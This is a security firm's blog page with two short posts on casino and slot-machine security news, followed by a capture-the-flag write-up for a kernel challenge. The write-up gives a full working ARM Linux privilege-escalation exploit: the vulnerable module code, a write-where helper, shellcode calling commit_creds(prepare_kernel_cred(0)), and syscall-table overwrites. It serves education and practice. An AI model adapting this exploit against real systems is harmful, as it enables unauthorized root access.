World Game Protection Conference

The World Game Protection Conference is taking place this February 21st-23rd in Las Vegas.  This will be the 12th year for the show that debuted in 2006.  In previous years the focus of the show has been on physical security, surveillance, and protecting the casinos from cheaters.  However, in recent years with the rise of technology in the gaming industry the focus has been expanded to include these components.  This year there are sessions on OSINT for surveillance operators, technical breakdown of how slot machines work, and a panel on “How Computers are Taking the Luck Out of Gambling”.

This is a timely discussion as there was a recent Wired article on a sophisticated “hack” where a criminal organization reverse engineered slot machine’s random number generator (RNG) in order to gain an advantage over the casinos.  SeNet has experience with RNGs and fraud from our work in the Hot Lotto and MUSL criminal case in Iowa.  SeNet’s CTO contacted Willy Allison, the conference organizer, and even at this late stage Willy extended an offer to Gus Fritschie to participate in the panel and discuss what regulators and gaming operators need to be aware of as it relates to RNG security.

SeNet is looking forward to participating in this conference and continuing research into RNG and slot security. 

Security and Surveillance: The Age of Insecurity

In the recent Global Gaming Business magazine Marjorie Preston wrote an article titled “Security and Surveillance: The Age of Insecurity”.  The article discusses the state of cybersecurity in the gaming sector, from the attack on Las Vegas Sands to the credit card compromise at Hard Rock Las Vegas.  SeNet’s CTO, Gus Fritschie, was interviewed for the article and is quoted throughout.  Several topics are discussed such as the difficulty of securing these complex environments, common attack vectors, and iGaming security.  The article can be read in its entirety here.  

Elementary Kernel Exploitation

This post will describe a solution to the pwnable.kr syscall challenge.

This challenge is a kernel exploitation challenge. The goal is to exploit a kernel vulnerability in order to escalate our privileges on a game machine to root retrieve a flag.

We are provided with code for a kernel module which adds a new system call named sys_upper. The body of the code is as follows,

--snip--
#define SYS_CALL_TABLE        0x8000e348        // manually configure this address!!
#define NR_SYS_UNUSED        223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
    int len = strlen(in);
    int i;
    for(i=0; i<len; i++){
        if(in[i]>=0x61 && in[i]<=0x7a){
            out[i] = in[i] - 0x20;
        }
        else{
            out[i] = in[i];
        }
    }
    return 0;
}

static int __init initmodule(void ){
    sct = (unsigned int**)SYS_CALL_TABLE;
    sct[NR_SYS_UNUSED] = sys_upper;
    printk("sys_upper(number : 223) is added\n");
    return 0;
}
--snip--

Immediately we can see that this system call accepts two pointers from userspace and without verifying that the data they point to are in userspace (e.g. with the (strncpy_from_user) function). This provides both a read-where primitive (if in points into kernelspace) and a write-where primitive (if out points into kernelspace).

Since kptr_strict is disabled, allowing us to resolve kernel symbols from userspace as an unprivileged user through /proc/kallsyms, we should be able to exploit this vulnerability with only the write-where primitive.

We can now begin writing our exploit. We start with this:

int main(void) {
    get_root();

    if (getuid() != 0) {
        puts("failed to get root");
        return 1;
    }

    puts("got root");

    char *argv[] = { "sh", "-c", "cat /root/flag", NULL };
    execve("/bin/sh", argv, NULL);

    return 2;
}

In order to obtain root we will write shellcode into kernelspace and jump to it. We first write a function which utilizes the write-where primitive to write userspace data to any specified kernel address.

#define SYSN 223

char buf[32];

void do_write(unsigned long addr, char *data, size_t len) {
    int i;
    char c;

    for (i = 0; i < len; i++) {
        c = data[i];
        if (c >= 0x61 && c <= 0x7a) {
            c += 0x20;
        }
        if (!c) {
            puts("NUL byte found in write");
            exit(1);
        }
        buf[i] = c;
    }
    buf[i] = '\0';

    syscall(SYSN, buf, addr);
}

Note that we add 0x20 to each lowercase character in order to account for sys_upper turning each lowercase character into its respective uppercase letter by subtracting 0x20 from it. We also check for NUL bytes which would cut our write short.

We now write our kernel shellcode in ARM assembly.

.globl foo

.text

foo:
# prepare_kernel_cred
    stmfd sp!, {r4, lr}
    mov r0, #0
    ldr r4, =0x8003f924
    blx r4


# commit_creds
    ldr r4, =0x8003f56c
    blx r4

    ldmfd sp!, {r4, pc}

This calls prepare_kernel_cred(NULL), which returns a pointer to a struct cred with full capabilities and privileges (root).

We pass this return value to commit_creds, which applies the credentials to the current task. In C this might look like so:

commit_creds(prepare_kernel_cred(0));

We dump our shellcode into a C array. This can be done with a tool such as objdump. In this case a custom tool was used. We also replace the hardcoded function addresses with macros. In a real exploit one may wish to read these addresses directly from /proc/kallsyms or from kernel memory if kptr_restrict is enabled.

#define PREPARE_KERNEL_CRED 0x8003f924
#define COMMIT_CREDS 0x8003f56c

unsigned long sc[] = {
    0xe92d4010,
    0xe3a00000,
    0xe59f400c,
    0xe12fff34,
    0xe59f4008,
    0xe12fff34,
    0xe8bd8010,
    PREPARE_KERNEL_CRED,
    COMMIT_CREDS,
};

Now we can begin writing our get_root function. We will call a series of kernel functions by replacing an unimportant system call's table entry with their addresses. We've hard coded the kernel function addresses retrieved from /proc/kallsyms.

#define SYSN_FOO 222
#define SYS_CALL_TABLE 0x8000e348
#define VMALLOC_EXEC 0x800b015c
#define MEMCPY 0x8018fbe0

void get_root(void) {
    unsigned long mem;
    unsigned long d;
    long ret;

We first allocate executable memory in the kernel with vmalloc_exec.

d = VMALLOC_EXEC;
do_write(SYS_CALL_TABLE + SYSN_FOO * 4, (char *)&d, 4);
ret = syscall(SYSN_FOO, 4096 * 16);
mem = ret + 4;

Then we copy our shellcode into this buffer.

d = MEMCPY;
do_write(SYS_CALL_TABLE + SYSN_FOO * 4, (char *)&d, 4);
syscall(SYSN_FOO, mem, sc, sizeof(sc));

Finally we call this buffer.

d = mem;
do_write(SYS_CALL_TABLE + SYSN_FOO * 4, (char *)&d, 4);
syscall(SYSN_FOO);

And that's it. We can run the following on the game machine and paste our base64-encoded exploit.

$ base64 -d > e.c; gcc -mlong-calls -o e e.c; ./e
<base64>
^D

doing vmalloc_exec
doing memcpy
doing call
got root
Congratz!! <flag>